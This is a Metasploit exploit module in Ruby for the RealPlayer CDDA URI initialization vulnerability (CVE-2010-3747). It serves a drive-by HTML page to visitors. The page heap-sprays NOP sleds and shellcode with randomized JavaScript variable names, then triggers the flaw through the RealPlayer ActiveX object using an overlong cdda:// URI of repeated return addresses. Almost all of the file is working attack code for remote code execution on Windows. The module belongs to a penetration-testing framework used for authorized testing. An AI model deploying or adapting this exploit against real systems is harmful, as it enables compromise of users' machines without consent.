##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'RealNetworks RealPlayer CDDA URI Initialization Vulnerability',
			'Description'    => %q{
					This module exploits a initialization flaw within RealPlayer 11/11.1 and
				RealPlayer SP 1.0 - 1.1.4. An abnormally long CDDA URI causes an object
				initialization failure. However, this failure is improperly handled and
				uninitialized memory executed.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'bannedit',
					'sinn3r'
				],
			'References'     =>
				[
					[ 'CVE', '2010-3747' ],
					[ 'OSVDB', '68673'],
					[ 'BID', '44144' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-210/'],
					[ 'URL', 'http://service.real.com/realplayer/security/10152010_player/en/']
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00",
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'RealPlayer SP 1.0 - 1.1.4 Universal',     { 'Ret' => 0x21212121 } ],
					[ 'RealPlayer 11.0 - 11.1 Universal',        { 'Ret' => 0x21212121 } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Nov 15 2010',
			'DefaultTarget'  => 0))
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		mytarget = target

		# the ret slide gets executed via call [esi+45b]
		retslide = [mytarget.ret].pack('V') * 750
		cdda_uri = "cdda://" +  retslide

		# Encode the shellcode
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
		nops = make_nops(8)
		nop_sled = Rex::Text.to_unescape(nops, Rex::Arch.endian(target.arch))

		# Randomize Javascript variables
		var_blocks    = rand_text_alpha(rand(6)+3)
		var_shellcode = rand_text_alpha(rand(6)+3)
		var_index     = rand_text_alpha(rand(6)+3)
		var_nopsled   = rand_text_alpha(rand(6)+3)
		spray_func    = rand_text_alpha(rand(6)+3)
		obj_id        = rand_text_alpha(rand(6)+3)
		html = <<-EOS
<html>
<head>
<script>
function #{spray_func}() {
	#{var_blocks} = new Array();
	var #{var_shellcode} = unescape("#{shellcode}");
	var #{var_nopsled} = unescape("#{nop_sled}");
	do { #{var_nopsled} += #{var_nopsled} } while (#{var_nopsled}.length < 8200);
		for (#{var_index}=0; #{var_index} < 19000; #{var_index}++)
			#{var_blocks}[#{var_index}] = #{var_nopsled} + #{var_shellcode};
	}
#{spray_func}();
</script>
</head>
<object id=#{obj_id} classid='clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA' width=0 height=0>
<param name="CONTROLS" value="ControlPanel">
<param name="src" value="#{cdda_uri}">
</object>
<script language="VBScript">
#{obj_id}.DoPlay
</script>
</html>
EOS
		print_status("Sending #{self.name} HTML")
		send_response(cli, html, { 'Content-Type' => 'text/html' })
	end
end
